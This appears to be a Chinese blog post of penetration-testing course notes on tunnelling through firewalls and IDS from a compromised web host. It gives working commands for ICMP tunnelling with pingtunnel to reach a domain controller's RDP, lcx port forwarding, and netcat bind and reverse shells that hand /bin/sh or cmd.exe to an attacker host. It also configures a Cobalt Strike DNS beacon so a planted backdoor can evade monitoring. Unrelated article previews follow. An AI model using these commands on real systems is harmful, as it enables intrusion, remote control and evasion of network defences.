71内网安全-域横向网络传输应用层隧道技术

必备知识点;

代理和隧道技术的区别?

代理主要解决的是网络访问问题,隧道是对过滤的绕过,

隧道技术是为了解决什么

解决被防火墙一些设备,ids(入侵检测系统)进行拦截的东西进行突破,举个栗子;在实战情况可能会cs和msf没有办法上线或者得到回显,出口数据被监控,在拖数据的时候会被拦截,网络通信存在问题等 ;

隧道技术前期必备的条件?

应用场景四已经获得了一些控制权,但是不能对肉鸡进行信息收集等一些执行功能;比如利用shior反序列化得到了一些权限,但是漏洞上有ids,把后门放到了对方服务器但是cs上不了线,

这个时候就是隧道技术的应用场景,

在数据通信被拦截的情况下利用隧道技术封装改变通信协议进行绕过拦截,比如你之前是用tcp协议,通过隧道技术可以把tcp协议转换成其他的协议封装出去;防火墙会对一些协议进行流量监控,有一些协议放行,我们就伪装成他放行的协议进行绕过;

在实际的网络中,通常会通过各种边界设备、软/硬件防火墙甚至入侵检测系统(ids)来检查对外连接情况,如果发现异样,就会对通信进行阻断。那么什么是隧道呢?这里的隧道,就是一种绕过端口屏蔽的通信方式。防火墙两端的数据包通过防火墙所允许的数据包类型或端口进行封装,防火墙会有拦截什么协议和端口的设置,然后穿过防火墙,与对方进行通信。当封装的数据包到达目的地时,将数据包还原,并将还原后的数据包发送到相应服务器上。

常用的隧道技术有以下三种:

网络层:IPv6隧道、ICMP隧道

传输层:TCP隧道、UDP隧道、常规端口转发

应用层:SSH隧道、HTTP/S隧道、DNS隧道 

案例一网络传输应用层检测连通性-检测 

探针他的协议是否支持,测试这个协议可不可以用。

在肉鸡没办法上线,通信有异常的时候,就要去绕过他,要绕过他肯定要选择一个隧道,隧道的协议有很多,我们确定对方支持什么样的隧道,比如我们想做icmp隧道,我们就要去检测,他支不支持icmp隧道的开启,

1.TCP协议

用“瑞士军刀”netcat,执行nc命令:

    nc <IP> <端口>

2.HTTP协议

用curl工具,执行:

    curl <IP地址:端口>

如果远程主机开启了相应的端口,且内网可连接外网的话,就会输出相应的端口信息

3.ICMP协议

用ping命令,执行:

    ping <IP地址/域名>

4.DNS协议

检测DNS连通性常用的命令是nslookup和dig

nslookup是windows自带的DNS探测命令

dig是linux系统自带的DNS探测命令 

再用隧道之前,要先探针一下,对应的隧道协议,对方是否是支持的,

案例二网络层ICMP隧道ptunnel使用-检测,利用 

拓扑图

目的;通过web服务器,实现对dc端的控制,但是dc上面有防火墙和ids防护

现在已经得到了dc上面的账号密码,但是现在我不可能用本机连接到dc端的,

利用工具;

老版本介绍:https://github.com/f1vefour/ptunnel(需自行编译),不推荐已经不更新了

新版本介绍:https://github.com/esrrhs/pingtunnel(二次开发版) 

pingtunnel是把tcp/udp/sock5流量伪装成icmp流量进行转发的感觉,

-p      表示连接icmp隧道另一端的机器IP(即目标服务器)

-lp     表示需要监听的本地tcp端口

-da    指定需要转发的机器的IP(即目标内网某一机器的内网IP)

-dp    指定需要转发的机器的端口(即目标内网某一机器的内网端口)

-x      设置连接的密码

利用之前先判断一些icmp协议可不可以用,判断一下隧道可不可行,通过ping命令判断完可写,

首先现在web肉鸡上执行一条命令

./ptunnel -x xiaodi     xiaodi就是设置的密码   在web肉鸡上把工具启动

在kali上运行

./ptunnel -p 192.168.76.150(web肉鸡的ip) -lp 1080(kali1 080端口) -da 192.168.33.33(靶机ip) -dp 3389(靶机3389端口) -x xiaodi(链接密码) #转发的3389请求数据给本地1080

这句代码的意思;请求web肉鸡,成功之后监听自己的1080端口,讲33的网段的3389数据都传输到本机1080端口,就是借助的web肉鸡请求的靶机,

原理;kali能连接web肉鸡,web肉鸡作为跳板机,借助web肉鸡的33网段,去链接dc端,dc端上的数据就通过3389端口给到kali的1080端口

最后我就直接通过,在kali执行命令

rdesktop 127.0.0.1 1080 通过一个远程终端连接kali的1080端口

这样就建立隧道连接了,我们去看一下靶机的3389端口

在被web肉鸡链接,但web肉鸡上面又没有上面操作,最后的请求来源还是在kali上

远程桌面登录成功,走的还是icmp协议,并不是靶机3389的协议,和之前走3389远程终端是一模一样的,但走的协议不一样,这就是隧道

他是将相关的数据包,通过防火墙所允许的类型,协议来进行封装。

案例三传输层转发隧道Portmap使用-检测,利用 

传输层:TCP隧道、UDP隧道、常规端口转发;现在讲这个

Windows:lcx

Linux:portmap 

常用的两款工具

下载:https://pan.baidu.com/s/1EoGZYVejTrBHBAvhndHLuQ , 提取码:fn9o(github上的没有了) 

拓扑图;现在条件;本机可以和web肉鸡联通,我现在要攻击sql靶机,这个原理可以说就是端口转发

直接输入命令进行

lcx -slave [web肉鸡IP] 6666 127.0.0.1 3389 

这条命令就是将本机的3389端口数据给到肉鸡的6666端口,

在web肉鸡上

lcx -listen [本机端口] [攻击机端口]

    lcx -listen 6666 7777

监听自己的6666端口,给到7777端口

然后用kali监听web肉鸡的7777端口

rdesktop web肉鸡ip 转发端口7777

然后就远程登录界面就出来了

简单来说,就是靶机把自己流量给出去,给到肉鸡的端口,然后肉鸡再把端口给另一个本机可以监听的端口,然后我们在监听可以监听的端口数据,就可以了

案例四传输层转发隧道Netcat使用-检测,利用,功能 

Netcat这个是干嘛用的, 它上面有一些功能

1.双向连接反弹shell 

正向,我连接肉鸡

肉鸡;

nc -ldp 1234 -e /bin/sh     linux模式
 nc -ldp 1234 -e c:\windows\system32\cmd.exe   windwos模式# nc把自身的cmd会话反弹给1234端口 

攻击主机;

nc 192.168.1.81 1234

本机就直接链肉鸡的1234端口

执行命令返回的肉鸡的ip

注意要确保Netcat是最新版,因为旧版不支持  -e 这个参数

反向:受害主机链接我

# 攻击
nc -lvp 1234     # 监听1234端口

# 受害主动连接  
nc 攻击主机 IP 1234 -e /bin/sh      linux肉鸡
nc 攻击主机 IP 1234 -e c:\windows\system32\cmd.exe      windwos肉鸡 # nc把cmd会话反弹给攻击机的1234端口

接受到了cmd会话

肉鸡能找到我就用反向,肉鸡找不到我就用正向,我去找肉鸡

2. 多向连接反弹 shell - 配合转发(这个案例比较鸡肋)

配合之前的端口转发工具Portmap,刚刚的案例是利用Portmap连接的3389端口,我这个时候可以不连接3389端口,而是把会话反弹回来;有权限之后想操作肉鸡,利用端口转发实现

web肉鸡上运行

# web肉鸡监听本地的 2222 转发到3333上
god\Webserver:Lcx.exe -listen 2222 3333

然后还有一个sql靶机,sql只有3的网段,本机链接不上她,接下来就实现kali控制sql靶机

nc 192.168.22.141 2222 -e c:\windows\system32\cmd.exe  # nc把cmd会话反弹给跳板机的 2222 端口

sql靶机就把cmd发送给了web肉鸡的2222端口

然后卡里就可以链接web肉鸡的,监听他的3333端口

nc -v 192.168.1.81 3333

实现控制了sql靶机

nc走的是tcp协议,如果对方没有过滤tcp协议,就可以通过nc实现控制主机,


3.相关netcat主要功能测试 

指纹服务:nc -nv 192.168.76.143

端口扫描:nc -v -z 192.168.76.143 1-100

端口监听:nc -lvp xxxx

文件传输:nc -lp 1111 >1.txt|nc -vn xx.xx.x.x 1111 <1.txt -q 1

反弹Shell:见上 

应用层DNS隧道配合CS上线-检测,利用,说明 

这个层面在实战中经常会用到,

应用层:SSH隧道、HTTP/S隧道、DNS隧道 

利用dns隧道,实现cs的上线,

今天的隧道技术是把相关的数据传输换了一个隧道传输,

连接上cs

这个监听器就是隧道的意思,假如我们生成了一个http后门,对方是流量监控的,防火墙检测http,通过http协议传输的时候要受到监控,现在再用http生成后门上线肯定有问题,因为防火墙已经封锁http了,

老师监控这里就已经有两个后门了,http的后门就要通过http协议和靶机相互通信

dns协议就通过dns相互通讯

有时候用cs生成后门上不了线的原因,就有一个这样的情况,防火墙有检测

现在就走dns隧道

当常见协议监听器被拦截时,可以换其他协议上线,其中 dns 协议上线基本通杀,把数据通过dns给出去,

1.云主机Teamserver配置端口53启用-udp 

2. 买一个域名修改解析记录如下:

A 记录->cs 主机名->CS 服务器 IP

就相当于我访问我本机搭建的域名的时候就访问cs的ip

NS 记录->ns1 主机名->上个 A 记录地址

最后到本机域名又是到cs的ip

NS 记录->ns2 主机名->上个 A 记录地址

3.配置DNS监听器内容如下:

ns1.xiaodi8.com

ns2.xiaodi8.com

cs.xiaodi8.com 

监听启动之后

然后就是生成后门

配置方法:

“Listeners”“Add”,“Payload”选“Beacon DNS”,“DNS Hosts”填入“ns1.xiaodi8.com”和“ns2.xiaodi8.com”,“DNS Host(Stager)”填“cs.xiaodi8.com” 

然后选择后门的的是dns协议

然后把生成的后门上传到肉鸡,开始执行

这时候主机是黑框的,显示unkown

这就是dns上线,dns上线有个问题就是速度慢,他传输数据库有一个响应的过程,然后还要再执行几条命令才能实现控制,

命令:

    checkin 

    mode dns-txt 

等待他回显,

成功上线,

总结;先测试对方接受什么协议,然后把传输的数据包封装成她能接受的数据包的协议,解决数据走不通某个协议的问题。

fa

cai

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/231327.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

迪杰斯特拉(Dijkstra)算法详解

【专栏】数据结构复习之路 这篇文章来自上述专栏中的一篇文章的节选&#xff1a; 【数据结构复习之路】图&#xff08;严蔚敏版&#xff09;两万余字&超详细讲解 想了解更多图论的知识&#xff0c;可以去看看本专栏 Dijkstra 算法讲解&#xff1a; 迪杰斯特拉算法(Di…

pip install skopt安装显示没有对应版本问题及解决

一、问题描述以及分析 &#xff08;一&#xff09;问题描述 ModuleNotFoundError: No module named skopt pip install skopt Note: you may need to restart the kernel to use updated packages.ERROR: Could not find a version that satisfies the requirement skopt (fro…

C语言编译器(C语言编程软件)完全攻略(第十三部分:VS2010使用教程(使用VS2010编写C语言程序))

介绍常用C语言编译器的安装、配置和使用。 十三、VS2010使用教程&#xff08;使用VS2010编写C语言程序&#xff09; 提示&#xff1a;VS2010 可以在 XP、Win7 和 Win8 下完美运行&#xff0c;但在 Win10 下可能会有兼容性问题&#xff0c;使用 Win10 的读者建议安装 VS2015 或…

JDBC练习查询所有内容

MySql表代码 -- 删除tb_brand表 drop table if exists tb_brand; -- 创建tb_brand表 create table tb_brand (-- id 主键id int primary key auto_increment,-- 品牌名称brand_name varchar(20),-- 企业名称company_name varchar(20),-- 排序字段ordered int…

解决VNC连接Ubuntu服务器打开终端出现闪退情况

服务器环境 阿里云ECS服务器 操作系统&#xff1a;Ubuntu 20.0.4 如何使用VNC连接阿里云ECS服务器 1.阿里云官方指导&#xff1a;通过VNC搭建Ubuntu 18.04和20.04图形界面 2.新手入门ECS——ubuntu 20.04安装图形化界面和本地VNC连接 问题描述 使用VNC连接上新申请阿里云服…

C# 如何读取Excel文件

当处理Excel文件时&#xff0c;从中读取数据是一个常见的需求。通过读取Excel数据&#xff0c;可以获取电子表格中包含的信息&#xff0c;并在其他应用程序或编程环境中使用这些数据进行进一步的处理和分析。本文将分享一个使用免费库来实现C#中读取Excel数据的方法。具体如下&…

LLM之RAG实战(九)| 高级RAG 03:多文档RAG体系结构

在RAG&#xff08;检索和生成&#xff09;这样的框架内管理和处理多个文档有很大的挑战。关键不仅在于提取相关内容&#xff0c;还在于选择包含用户查询所寻求的信息的适当文档。基于用户查询对齐的多粒度特性&#xff0c;需要动态选择文档&#xff0c;本文将介绍结构化层次检索…

实现文件拖拽上传的功能

1 先来看一下效果 2 我们来看一下代码执行的结果&#xff1a; 我们创建目标的容器盒子 和可以展示数据的ul 监听进入目前盒子的事件 3 文件进入目标容器中解析文件

使用echarts制作柱状图并且下方带表格

实现效果: 调试地址: Examples - Apache ECharts 源码: option { title: { left: center, top: 0, text: 2022-05月 制造产量 达成情况(单位: 吨) (图1)\n\n集团目标产量: 106,675吨 集团实际产量: 2,636吨, textStyle:{ fontSize:20, colo…

3D Gaussian Splatting复现

最近3D Gaussian Splatting很火&#xff0c;网上有很多复现过程&#xff0c;大部分都是在Windows上的。Linux上配置环境会方便简单一点&#xff0c;这里记录一下我在Linux上复现的过程。 Windows下的环境配置和编译&#xff0c;建议看这个up主的视频配置&#xff0c;讲解的很细…

QT基础知识

QT基础知识 文章目录 QT基础知识1、QT是什么2、Qt的发展史3、为什么学习QT4、怎么学习QT1、工程的创建(环境的下载与安装请百度&#xff09;2、创建的工程结构说明3、怎么看帮助文档1、类使用的相关介绍2. 查看所用部件&#xff08;类&#xff09;的相应成员函数&#xff08;功…

【LeetCode】修炼之路-0001-Two Sum(两数之和)【python】【简单】

前言 计算机科学作为一门实践性极强的学科,代码能力的培养尤为重要。当前网络上有非常多优秀的前辈分享了LeetCode的最佳算法题解,这对于我们这些初学者来说提供了莫大的帮助,但对于我这种缺乏编程直觉的学习者而言,这往往难以消化吸收。&#xff08;为什么别人就能想出这么优雅…

牛刀小试 - C++实现贪吃蛇

参考文档 借鉴了这位大佬的博客及代码&#xff0c;键入代码后发现有很多报错&#xff0c;依次解决后成功运行 c 实现贪吃蛇&#xff08;含技术难点解析和完整代码&#xff09; 技术点&#xff1a; C中_kbhit()函数与_getch()函数 Windows API 坐标结构 COORD 句柄 HANDLE 获…

有能力,但是不赚钱,往往是因为没有这三个能力!2024最适合创业的细分行业,2024最适合创业的行业

很多人非常有能力&#xff0c;在学校是学霸&#xff0c;在公司是高管&#xff0c;但是出来自己创业就不行了。觉得是自己的能力不够&#xff0c;其实不是你的能力不够&#xff0c;而是你欠缺下面这三种能力。如果你能掌握这三种能力&#xff0c;就算之前是普通人尝试创业&#…

Hotspot源码解析-第十二章-线程栈保护页

了解保护页&#xff0c;先从几个问题开始吧 1、为什么线程栈有栈帧了&#xff0c;还要有保护页&#xff1f; 答&#xff1a;在操作系统中内存可以看成是一个大数组&#xff0c;这就有一个问题&#xff0c;线程之间可能会互相踩了别人的内存空间&#xff0c;所以栈空间也存在这…

UI自动化测试之Jenkins配置

背景&#xff1a; 团队下半年的目标之一是实现自动化测试&#xff0c;这里要吐槽一下&#xff0c;之前开发的测试平台了&#xff0c;最初的目的是用来做接口自动化测试和性能测试&#xff0c;但由于各种原因&#xff0c;接口自动化测试那部分功能整个废弃掉了&#xff0c;其中和…

word中MathType公式编号

直接上效果图&#xff1a; 步骤如下&#xff1a; 安装MathTypeword中安装MathType选项卡。设置MathType选项卡添加分隔符插入公式&#xff0c;自动生成右编码 接下来介绍每一步。 文章目录 1. 安装MathType2. Word中安装MathType选项卡3. 配置MathType选项4. 添加分隔符5. 插…

Halcon阈值处理的几种分割方法threshold/auto_threshold/binary_threshold/dyn_threshold

Halcon阈值处理的几种分割方法 文章目录 Halcon阈值处理的几种分割方法1. 全局阈值2. 基于直方图的自动阈值分割方法3. 自动全局阈值分割方法4. 局部阈值分割方法5. var_threshold算子6 . char_threshold 算子7. dual_threshold算子 在场景中选择物体或特征是图像测量或识别的重…

在宝塔Linux中安装Docker

前言 帮助使用宝塔的用户快速上手docke的安装 &#x1f4da;&#x1f4da; &#x1f3c5;我是默&#xff0c;一个在CSDN分享笔记的博主。&#x1f4da;&#x1f4da; ​​​​ &#x1f31f;在这里&#xff0c;我要推荐给大家我的专栏《Docker》。&#x1f3af;&#x1f3af…

图片上的水印怎么添加?简单易上手的3个方法

图片上的水印怎么添加&#xff1f;水印是一种透明的文字或图像叠加在原始图片上的技术。它能够涵盖版权信息、公司商标、作者名字或其他个人标识。很多人会通过添加水印的方法&#xff0c;来确保图片在分享或者是公开使用的时候&#xff0c;依然能够保留对自己原创内容的控制和…